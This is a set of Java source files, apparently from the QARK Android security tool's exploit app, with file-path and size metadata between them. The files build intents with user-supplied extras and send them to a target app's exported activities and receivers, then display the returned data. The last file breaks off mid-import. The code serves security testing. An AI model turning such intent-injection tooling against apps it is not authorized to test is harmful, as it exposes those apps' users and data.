/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent.exportedactivity; import android.app.Activity; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.annotation.Nullable; import android.util.Log; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.secbro.qark.R; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; public class IntentParamsFragment extends Fragment { private final static int REQUEST_CODE = 1; private final static String LOG_TAG = IntentParamsFragment.LOG_TAG; public interface ActivityResultListener { void onActivityResultListener(Map resultMap); } private ActivityResultListener mListener; public IntentParamsFragment() { // Required empty public constructor } private ArrayList<String> keys; private String exportedActivityName; private String exportedActivityId; @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); outState.putStringArrayList(IntentSenderActivity.INTENT_KEYS, keys); outState.putString(ExportedActivityListFragment.EXPORTED_ACTIVITY_NAME, exportedActivityName); outState.putString(ExportedActivityListFragment.EXPORTED_ACTIVITY_ID, exportedActivityId); } @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View retVal = inflater.inflate(R.layout.fragment_exploit_exported_activity_params, container, false); return retVal; } @Override public void onAttach(Activity activity) { super.onAttach(activity); try { mListener = (ActivityResultListener) activity; } catch (ClassCastException e) { throw new ClassCastException("Activity must implement ExploitExportedActivityListener."); } } @Override public void onDetach() { super.onDetach(); mListener = null; } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); if (savedInstanceState != null) { keys = savedInstanceState.getStringArrayList(IntentSenderActivity.INTENT_KEYS); exportedActivityName = savedInstanceState.getString(ExportedActivityListFragment.EXPORTED_ACTIVITY_NAME); exportedActivityId = savedInstanceState.getString(ExportedActivityListFragment.EXPORTED_ACTIVITY_ID); } else { Bundle bundle = getArguments(); if (bundle != null) { keys = bundle.getStringArrayList(IntentSenderActivity.INTENT_KEYS); exportedActivityName = bundle.getString(ExportedActivityListFragment.EXPORTED_ACTIVITY_NAME); exportedActivityId = bundle.getString(ExportedActivityListFragment.EXPORTED_ACTIVITY_ID); } } if (keys == null || keys.isEmpty()) { throw new IllegalArgumentException("Keys null"); } LinearLayout paramsLayout = (LinearLayout) getView().findViewById(R.id.paramsLayout); for (String key : keys) { createKeyValuePairLayout(key, paramsLayout); } Button button = (Button) getView().findViewById(R.id.submitButton); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { Intent intent = new Intent(); intent.setComponent(new ComponentName(getResources().getString(R.string.packageName), exportedActivityName)); for (String key : keys) { intent.putExtra(((TextView) getView().findViewWithTag("key" + key)).getText().toString(), ((EditText) getView().findViewWithTag("value" + key)).getText().toString()); } startActivityForResult(intent, REQUEST_CODE); Toast.makeText(getActivity(), "Intent sent", Toast.LENGTH_LONG).show(); } }); } private void createKeyValuePairLayout(String key, LinearLayout topLayout) { LinearLayout linearLayout = new LinearLayout(getActivity()); linearLayout.setOrientation(LinearLayout.HORIZONTAL); TextView keyTextView = new TextView(getActivity()); keyTextView.setTag("key" + key); keyTextView.setText(key); LinearLayout.LayoutParams llp = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); llp.setMargins(50, 40, 50, 10); // llp.setMargins(left, top, right, bottom); keyTextView.setLayoutParams(llp); LinearLayout.LayoutParams llp1 = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); EditText valueEditText = new EditText(getActivity()); valueEditText.setTag("value" + key); valueEditText.setLayoutParams(llp1); linearLayout.addView(keyTextView); linearLayout.addView(valueEditText); topLayout.addView(linearLayout); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); switch (requestCode) { case REQUEST_CODE: { if (resultCode == Activity.RESULT_OK) { if (data != null) { Map resultMap = new HashMap<Object, Object>(); Bundle bundle = data.getExtras(); for (String key : bundle.keySet()) { Object value = bundle.get(key); Log.d("key", key); Log.d("value", value.toString()); resultMap.put(key, value); } //Call container activity back to display result if (mListener != null) { mListener.onActivityResultListener(resultMap); } else { Log.e(LOG_TAG, "mListener is null"); } } } else { Log.d("INFO", "No data received"); } } } } }
7,291
38.630435
186
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/exportedactivity/IntentSenderActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent.exportedactivity; import android.app.Activity; import android.content.ComponentName; import android.content.Intent; import android.support.v4.app.FragmentActivity; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.widget.TextView; import com.secbro.qark.R; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.Map; public class IntentSenderActivity extends AppCompatActivity implements IntentParamsFragment.ActivityResultListener { public static final String INTENT_KEYS = "INTENT_KEYS"; private final static int REQUEST_CODE = 2; private ArrayList<String> intentKeys; private String exportedActivityName; private String exportedActivityId; private TextView mResultText; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_exploit_exported_result); mResultText = (TextView) findViewById(R.id.activity_exploit_exported_result_text); intentKeys = new ArrayList<String>(); if (getIntent() != null) { exportedActivityId = getIntent().getStringExtra(ExportedActivityListFragment.EXPORTED_ACTIVITY_ID); exportedActivityName = getIntent().getStringExtra(ExportedActivityListFragment.EXPORTED_ACTIVITY_NAME); if (getResources().getIdentifier(exportedActivityId, "array", this.getPackageName()) != 0) { intentKeys.addAll(Arrays.asList(getResources().getStringArray( getResources().getIdentifier(exportedActivityId, "array", this.getPackageName())))); } } if (!intentKeys.isEmpty()) { //If the exported activity needs intent params to be passed, then pass in the params from UI. Bundle keys = new Bundle(); keys.putString(ExportedActivityListFragment.EXPORTED_ACTIVITY_NAME, exportedActivityName); keys.putString(ExportedActivityListFragment.EXPORTED_ACTIVITY_ID, exportedActivityId); keys.putStringArrayList(INTENT_KEYS, intentKeys); IntentParamsFragment exploitExportedActivityParamsFragment = new IntentParamsFragment(); exploitExportedActivityParamsFragment.setArguments(keys); if (savedInstanceState == null) { getSupportFragmentManager().beginTransaction() .add(R.id.container, exploitExportedActivityParamsFragment) .commit(); } } else { Log.d("INFO", "Exported activity needs no params"); //Start activity Intent intent = new Intent(); intent.setComponent(new ComponentName(getResources().getString(R.string.packageName), exportedActivityName)); startActivityForResult(intent, REQUEST_CODE); } } @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); switch (requestCode) { case REQUEST_CODE: { if (resultCode == Activity.RESULT_OK) { if (data != null) { Map resultMap = new HashMap<Object, Object>(); Bundle bundle = data.getExtras(); for (String key : bundle.keySet()) { Object value = bundle.get(key); Log.d("key", key); Log.d("value", value.toString()); resultMap.put(key, value); } showResultFromExploit(resultMap); } } else { Log.d("INFO", "No data received"); } } } } @Override public void onActivityResultListener(Map resultMap) { showResultFromExploit(resultMap); } private void showResultFromExploit(Map resultMap) { if (mResultText != null) { mResultText.setText(resultMap.toString()); } } }
4,702
39.895652
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/exportedreceiver/ExportedReceiverListFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent.exportedreceiver; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.ListFragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ListView; import com.secbro.qark.R; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; public class ExportedReceiverListFragment extends ListFragment { private static final String LOG_TAG = ExportedReceiverListFragment.class.getSimpleName(); public static final String EXPORTED_RECEIVER_NAME = "ExportedReceiverName"; public static final String EXPORTED_RECEIVER_ID = "ExportedReceiverId"; private List<String> exportedReceivers; private Map<String, String> exportedReceiversIdNameMap; /** * The fragment's ListView/GridView. */ private ListView mListView; public static ExportedReceiverListFragment newInstance() { ExportedReceiverListFragment fragment = new ExportedReceiverListFragment(); return fragment; } /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public ExportedReceiverListFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreateView(inflater, container, savedInstanceState); View retVal = inflater.inflate(R.layout.fragment_exported_receiver_list, container, false); mListView = (ListView) retVal.findViewById(android.R.id.list); return retVal; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); exportedReceivers = Arrays.asList(getResources().getStringArray(R.array.exportedReceivers)); if (exportedReceivers != null && exportedReceivers.size() != 0) { exportedReceiversIdNameMap = new LinkedHashMap<>(); for (String receiver : exportedReceivers) { if (getResources().getIdentifier(receiver, "string", getActivity().getPackageName()) != 0) { exportedReceiversIdNameMap.put(receiver, getResources().getString(getResources().getIdentifier(receiver, "string", getActivity().getPackageName()))); } else { throw new IllegalArgumentException("No matching intent names found in string.xml "); } } setListAdapter(new ArrayAdapter<String>(getActivity(), android.R.layout.simple_list_item_1, android.R.id.text1, new ArrayList<String>(exportedReceiversIdNameMap.values()))); } else { Log.d(LOG_TAG, "No exported receivers to exploit."); } } @Override public void onListItemClick(ListView l, View v, int position, long id) { super.onListItemClick(l, v, position, id); Intent startActivityIntent = new Intent(getActivity(), IntentSenderActivity.class); startActivityIntent.putExtra(EXPORTED_RECEIVER_NAME, exportedReceiversIdNameMap.get(exportedReceivers.get(position))); startActivityIntent.putExtra(EXPORTED_RECEIVER_ID, exportedReceivers.get(position)); startActivity(startActivityIntent); } }
3,956
38.57
169
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/exportedreceiver/IntentSenderActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent.exportedreceiver; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.FragmentActivity; import android.support.v7.app.AppCompatActivity; import android.text.TextUtils; import android.util.Log; import android.widget.Toast; import com.secbro.qark.R; import com.secbro.qark.exportedcomponent.exportedactivity.ExportedActivityListFragment; import java.util.ArrayList; import java.util.Arrays; public class IntentSenderActivity extends AppCompatActivity { public static final String INTENT_KEYS = "INTENT_KEYS"; private ArrayList<String> intentKeys; private String exportedReceiverName; private String exportedReceiverId; //private String intentId; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_intent_sender); intentKeys = new ArrayList<String>(); if (getIntent() != null) { exportedReceiverId = getIntent().getStringExtra(ExportedReceiverListFragment.EXPORTED_RECEIVER_ID); exportedReceiverName = getIntent().getStringExtra(ExportedReceiverListFragment.EXPORTED_RECEIVER_NAME); if (getResources().getIdentifier(exportedReceiverId, "array", this.getPackageName()) != 0) { intentKeys.addAll(Arrays.asList( getResources().getStringArray( getResources().getIdentifier(exportedReceiverId, "array", this.getPackageName())))); } } if (!intentKeys.isEmpty()) { Bundle keys = new Bundle(); keys.putString(ExportedReceiverListFragment.EXPORTED_RECEIVER_NAME, exportedReceiverName); keys.putString(ExportedReceiverListFragment.EXPORTED_RECEIVER_ID, exportedReceiverId); keys.putStringArrayList(INTENT_KEYS, intentKeys); IntentSenderFragment intentSenderFragment = new IntentSenderFragment(); intentSenderFragment.setArguments(keys); if (savedInstanceState == null) { getSupportFragmentManager().beginTransaction() .add(R.id.container, intentSenderFragment) .commit(); } } else { Log.d("INFO", "Exported receiver needs no params"); Intent intent = new Intent(); intent.setAction(exportedReceiverName); sendBroadcast(intent); Toast.makeText(this, "Intent sent", Toast.LENGTH_LONG).show(); } } }
3,086
40.16
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/exportedreceiver/IntentSenderFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent.exportedreceiver; import android.content.Intent; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.secbro.qark.R; import java.util.ArrayList; public class IntentSenderFragment extends Fragment { private ArrayList<String> keys; private String exportedReceiverName; private String exportedReceiverId; /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public IntentSenderFragment() { } @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); outState.putStringArrayList(IntentSenderActivity.INTENT_KEYS, keys); outState.putString(ExportedReceiverListFragment.EXPORTED_RECEIVER_NAME, exportedReceiverName); outState.putString(ExportedReceiverListFragment.EXPORTED_RECEIVER_ID, exportedReceiverId); } @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View retVal = inflater.inflate(R.layout.fragment_intent_sender, container, false); return retVal; } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); if (savedInstanceState != null) { keys = savedInstanceState.getStringArrayList(IntentSenderActivity.INTENT_KEYS); exportedReceiverName = savedInstanceState.getString(ExportedReceiverListFragment.EXPORTED_RECEIVER_NAME); exportedReceiverId = savedInstanceState.getString(ExportedReceiverListFragment.EXPORTED_RECEIVER_ID); } else { Bundle bundle = getArguments(); if (bundle != null) { keys = bundle.getStringArrayList(IntentSenderActivity.INTENT_KEYS); exportedReceiverName = bundle.getString(ExportedReceiverListFragment.EXPORTED_RECEIVER_NAME); exportedReceiverId = bundle.getString(ExportedReceiverListFragment.EXPORTED_RECEIVER_ID); } } if (keys == null || keys.isEmpty()) { throw new IllegalArgumentException("Keys null"); } LinearLayout paramsLayout = (LinearLayout) getView().findViewById(R.id.paramsLayout); for (String key : keys) { createKeyValuePairLayout(key, paramsLayout); } Button button = (Button) getView().findViewById(R.id.submitButton); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { sendBroadcast(); } }); } private void sendBroadcast() { Intent intent = new Intent(); intent.setAction(exportedReceiverName); if (keys.size() != 0) { // if intent has extras for (String key : keys) { intent.putExtra(((TextView) getView().findViewWithTag("key" + key)).getText().toString(), ((EditText) getView().findViewWithTag("value" + key)).getText().toString()); } } getActivity().sendBroadcast(intent); Toast.makeText(getActivity(), "Intent sent", Toast.LENGTH_LONG).show(); } private void createKeyValuePairLayout(String key, LinearLayout paramsLayout) { LinearLayout linearLayout = new LinearLayout(getActivity()); linearLayout.setOrientation(LinearLayout.HORIZONTAL); LinearLayout.LayoutParams llp = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); llp.setMargins(50, 10, 50, 10); // llp.setMargins(left, top, right, bottom); TextView keyTextView = new TextView(getActivity()); keyTextView.setTag("key" + key); keyTextView.setText(key); keyTextView.setLayoutParams(llp); LinearLayout.LayoutParams llp1 = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); llp.setMargins(50, 10, 50, 10); // llp.setMargins(left, top, right, bottom); EditText valueEditText = new EditText(getActivity()); valueEditText.setTag("value" + key); valueEditText.setLayoutParams(llp1); linearLayout.addView(keyTextView); linearLayout.addView(valueEditText); paramsLayout.addView(linearLayout); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } }
5,394
39.871212
182
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/filebrowser/FileBrowserActivity.java
/* * * Reference: https://github.com/vaal12/AndroidFileBrowser by Alexey Vassiliev * */ package com.secbro.qark.filebrowser; import java.io.File; import java.io.FilenameFilter; import java.util.ArrayList; import java.util.Comparator; import java.util.List; import java.util.Collections; //Android imports import android.content.Intent; import android.content.res.Configuration; import android.graphics.Color; import android.os.Bundle; import android.os.Environment; import android.os.StatFs; import android.support.v4.app.FragmentActivity; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.View.OnClickListener; import android.view.ViewGroup.LayoutParams; import android.view.*; import android.widget.*; import com.secbro.qark.R; public class FileBrowserActivity extends AppCompatActivity { // Intent Action Constants public static final String INTENT_ACTION_SELECT_DIR = "ua.com.vassiliev.androidfilebrowser.SELECT_DIRECTORY_ACTION"; public static final String INTENT_ACTION_SELECT_FILE = "ua.com.vassiliev.androidfilebrowser.SELECT_FILE_ACTION"; // Intent parameters names constants public static final String startDirectoryParameter = "ua.com.vassiliev.androidfilebrowser.directoryPath"; public static final String returnDirectoryParameter = "ua.com.vassiliev.androidfilebrowser.directoryPathRet"; public static final String returnFileParameter = "ua.com.vassiliev.androidfilebrowser.filePathRet"; public static final String showCannotReadParameter = "ua.com.vassiliev.androidfilebrowser.showCannotRead"; public static final String filterExtension = "ua.com.vassiliev.androidfilebrowser.filterExtension"; // Stores names of traversed directories ArrayList<String> pathDirsList = new ArrayList<String>(); // Check if the first level of the directory structure is the one showing // private Boolean firstLvl = true; private static final String LOGTAG = "F_PATH"; private List<Item> fileList = new ArrayList<Item>(); private File path = null; private String chosenFile; // private static final int DIALOG_LOAD_FILE = 1000; ArrayAdapter<Item> adapter; private boolean showHiddenFilesAndDirs = true; private boolean directoryShownIsEmpty = false; private String filterFileExtension = null; // Action constants private static int currentAction = -1; private static final int SELECT_DIRECTORY = 1; private static final int SELECT_FILE = 2; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_file_browser); // Set action for this activity Intent thisInt = this.getIntent(); currentAction = SELECT_DIRECTORY;// This would be a default action in // case not set by intent if (thisInt.getAction().equalsIgnoreCase(INTENT_ACTION_SELECT_FILE)) { Log.d(LOGTAG, "SELECT ACTION - SELECT FILE"); currentAction = SELECT_FILE; } showHiddenFilesAndDirs = thisInt.getBooleanExtra( showCannotReadParameter, true); filterFileExtension = thisInt.getStringExtra(filterExtension); setInitialDirectory(); parseDirectoryPath(); loadFileList(); this.createFileListAdapter(); this.initializeButtons(); this.initializeFileListView(); updateCurrentDirectoryTextView(); Log.d(LOGTAG, path.getAbsolutePath()); } private void setInitialDirectory() { Intent thisInt = this.getIntent(); String requestedStartDir = thisInt .getStringExtra(startDirectoryParameter); if (requestedStartDir != null && requestedStartDir.length() > 0) {// if(requestedStartDir!=null File tempFile = new File(requestedStartDir); if (tempFile.isDirectory()) this.path = tempFile; }// if(requestedStartDir!=null if (this.path == null) {// No or invalid directory supplied in intent // parameter if (Environment.getExternalStorageDirectory().isDirectory() && Environment.getExternalStorageDirectory().canRead()) path = Environment.getExternalStorageDirectory(); else path = new File("/"); }// if(this.path==null) {//No or invalid directory supplied in intent // parameter }// private void setInitialDirectory() { private void parseDirectoryPath() { pathDirsList.clear(); String pathString = path.getAbsolutePath(); String[] parts = pathString.split("/"); int i = 0; while (i < parts.length) { pathDirsList.add(parts[i]); i++; } } private void initializeButtons() { Button upDirButton = (Button) this.findViewById(R.id.upDirectoryButton); upDirButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { Log.d(LOGTAG, "onclick for upDirButton"); loadDirectoryUp(); loadFileList(); adapter.notifyDataSetChanged(); updateCurrentDirectoryTextView(); } });// upDirButton.setOnClickListener( Button selectFolderButton = (Button) this .findViewById(R.id.selectCurrentDirectoryButton); if (currentAction == SELECT_DIRECTORY) { selectFolderButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { Log.d(LOGTAG, "onclick for selectFolderButton"); returnDirectoryFinishActivity(); } }); } else {// if(currentAction == this.SELECT_DIRECTORY) { selectFolderButton.setVisibility(View.GONE); }// } else {//if(currentAction == this.SELECT_DIRECTORY) { }// private void initializeButtons() { private void loadDirectoryUp() { // present directory removed from list String s = pathDirsList.remove(pathDirsList.size() - 1); // path modified to exclude present directory path = new File(path.toString().substring(0, path.toString().lastIndexOf(s))); fileList.clear(); } private void updateCurrentDirectoryTextView() { int i = 0; String curDirString = ""; while (i < pathDirsList.size()) { curDirString += pathDirsList.get(i) + "/"; i++; } if (pathDirsList.size() == 0) { ((Button) this.findViewById(R.id.upDirectoryButton)) .setEnabled(false); curDirString = "/"; } else ((Button) this.findViewById(R.id.upDirectoryButton)) .setEnabled(true); long freeSpace = getFreeSpace(curDirString); String formattedSpaceString = formatBytes(freeSpace); if (freeSpace == 0) { Log.d(LOGTAG, "NO FREE SPACE"); File currentDir = new File(curDirString); if (!currentDir.canWrite()) formattedSpaceString = "NON Writable"; } ((Button) this.findViewById(R.id.selectCurrentDirectoryButton)) .setText("Select\n[" + formattedSpaceString + "]"); ((TextView) this.findViewById(R.id.currentDirectoryTextView)) .setText("Current directory: " + curDirString); }// END private void updateCurrentDirectoryTextView() { private void showToast(String message) { Toast.makeText(this, message, Toast.LENGTH_LONG).show(); } private void initializeFileListView() { ListView lView = (ListView) this.findViewById(R.id.fileListView); lView.setBackgroundColor(Color.LTGRAY); LinearLayout.LayoutParams lParam = new LinearLayout.LayoutParams( LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT); lParam.setMargins(15, 5, 15, 5); lView.setAdapter(this.adapter); lView.setOnItemClickListener(new AdapterView.OnItemClickListener() { public void onItemClick(AdapterView<?> parent, View view, int position, long id) { chosenFile = fileList.get(position).file; File sel = new File(path + "/" + chosenFile); Log.d(LOGTAG, "Clicked:" + chosenFile); if (sel.isDirectory()) { if (sel.canRead()) { // Adds chosen directory to list pathDirsList.add(chosenFile); path = new File(sel + ""); Log.d(LOGTAG, "Just reloading the list"); loadFileList(); adapter.notifyDataSetChanged(); updateCurrentDirectoryTextView(); Log.d(LOGTAG, path.getAbsolutePath()); } else {// if(sel.canRead()) { showToast("Path does not exist or cannot be read"); }// } else {//if(sel.canRead()) { }// if (sel.isDirectory()) { // File picked or an empty directory message clicked else {// if (sel.isDirectory()) { Log.d(LOGTAG, "item clicked"); if (!directoryShownIsEmpty) { Log.d(LOGTAG, "File selected:" + chosenFile); returnFileFinishActivity(sel.getAbsolutePath()); } }// else {//if (sel.isDirectory()) { }// public void onClick(DialogInterface dialog, int which) { });// lView.setOnClickListener( }// private void initializeFileListView() { private void returnDirectoryFinishActivity() { Intent retIntent = new Intent(); retIntent.putExtra(returnDirectoryParameter, path.getAbsolutePath()); this.setResult(RESULT_OK, retIntent); this.finish(); }// END private void returnDirectoryFinishActivity() { private void returnFileFinishActivity(String filePath) { Intent retIntent = new Intent(); retIntent.putExtra(returnFileParameter, filePath); this.setResult(RESULT_OK, retIntent); //this.finish(); }// END private void returnDirectoryFinishActivity() { private void loadFileList() { try { path.mkdirs(); } catch (SecurityException e) { Log.e(LOGTAG, "unable to write on the sd card "); } fileList.clear(); if (path.exists() && path.canRead()) { FilenameFilter filter = new FilenameFilter() { public boolean accept(File dir, String filename) { File sel = new File(dir, filename); boolean showReadableFile = showHiddenFilesAndDirs || sel.canRead(); // Filters based on whether the file is hidden or not if (currentAction == SELECT_DIRECTORY) { return (sel.isDirectory() && showReadableFile); } if (currentAction == SELECT_FILE) { // If it is a file check the extension if provided if (sel.isFile() && filterFileExtension != null) { return (showReadableFile && sel.getName().endsWith( filterFileExtension)); } return (showReadableFile); } return true; }// public boolean accept(File dir, String filename) { };// FilenameFilter filter = new FilenameFilter() { String[] fList = path.list(filter); this.directoryShownIsEmpty = false; for (int i = 0; i < fList.length; i++) { // Convert into file path File sel = new File(path, fList[i]); Log.d(LOGTAG, "File:" + fList[i] + " readable:" + (Boolean.valueOf(sel.canRead())).toString()); int drawableID = R.drawable.file_icon; boolean canRead = sel.canRead(); // Set drawables if (sel.isDirectory()) { if (canRead) { drawableID = R.drawable.folder_icon; } else { drawableID = R.drawable.folder_icon_light; } } fileList.add(i, new Item(fList[i], drawableID, canRead)); }// for (int i = 0; i < fList.length; i++) { if (fileList.size() == 0) { // Log.d(LOGTAG, "This directory is empty"); this.directoryShownIsEmpty = true; fileList.add(0, new Item("Directory is empty", -1, true)); } else {// sort non empty list Collections.sort(fileList, new ItemFileNameComparator()); } } else { Log.e(LOGTAG, "path does not exist or cannot be read"); } // Log.d(TAG, "loadFileList finished"); }// private void loadFileList() { private void createFileListAdapter() { adapter = new ArrayAdapter<Item>(this, android.R.layout.select_dialog_item, android.R.id.text1, fileList) { @Override public View getView(int position, View convertView, ViewGroup parent) { // creates view View view = super.getView(position, convertView, parent); TextView textView = (TextView) view .findViewById(android.R.id.text1); // put the image on the text view int drawableID = 0; if (fileList.get(position).icon != -1) { // If icon == -1, then directory is empty drawableID = fileList.get(position).icon; } textView.setCompoundDrawablesWithIntrinsicBounds(drawableID, 0, 0, 0); textView.setEllipsize(null); // add margin between image and text (support various screen // densities) // int dp5 = (int) (5 * // getResources().getDisplayMetrics().density + 0.5f); int dp3 = (int) (3 * getResources().getDisplayMetrics().density + 0.5f); // TODO: change next line for empty directory, so text will be // centered textView.setCompoundDrawablePadding(dp3); textView.setBackgroundColor(Color.LTGRAY); return view; }// public View getView(int position, View convertView, ViewGroup };// adapter = new ArrayAdapter<Item>(this, }// private createFileListAdapter(){ private class Item { public String file; public int icon; public boolean canRead; public Item(String file, Integer icon, boolean canRead) { this.file = file; this.icon = icon; } @Override public String toString() { return file; } }// END private class Item { private class ItemFileNameComparator implements Comparator<Item> { public int compare(Item lhs, Item rhs) { return lhs.file.toLowerCase().compareTo(rhs.file.toLowerCase()); } } public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); if (newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE) { Log.d(LOGTAG, "ORIENTATION_LANDSCAPE"); } else if (newConfig.orientation == Configuration.ORIENTATION_PORTRAIT) { Log.d(LOGTAG, "ORIENTATION_PORTRAIT"); } // Layout apparently changes itself, only have to provide good onMeasure // in custom components // TODO: check with keyboard // if(newConfig.keyboard == Configuration.KEYBOARDHIDDEN_YES) }// END public void onConfigurationChanged(Configuration newConfig) { public static long getFreeSpace(String path) { StatFs stat = new StatFs(path); long availSize = (long) stat.getAvailableBlocks() * (long) stat.getBlockSize(); return availSize; }// END public static long getFreeSpace(String path) { public static String formatBytes(long bytes) { // TODO: add flag to which part is needed (e.g. GB, MB, KB or bytes) String retStr = ""; // One binary gigabyte equals 1,073,741,824 bytes. if (bytes > 1073741824) {// Add GB long gbs = bytes / 1073741824; retStr += (new Long(gbs)).toString() + "GB "; bytes = bytes - (gbs * 1073741824); } // One MB - 1048576 bytes if (bytes > 1048576) {// Add GB long mbs = bytes / 1048576; retStr += (new Long(mbs)).toString() + "MB "; bytes = bytes - (mbs * 1048576); } if (bytes > 1024) { long kbs = bytes / 1024; retStr += (new Long(kbs)).toString() + "KB"; bytes = bytes - (kbs * 1024); } else retStr += (new Long(bytes)).toString() + " bytes"; return retStr; }// public static String formatBytes(long bytes){ }// END public class FileBrowserActivity extends Activity {
17,555
40.308235
120
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/filebrowser/FileBrowserFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.filebrowser; import android.content.Intent; import android.content.res.Configuration; import android.graphics.Color; import android.os.Bundle; import android.os.Environment; import android.os.StatFs; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.TextView; import android.widget.Toast; import com.secbro.qark.R; import java.io.File; import 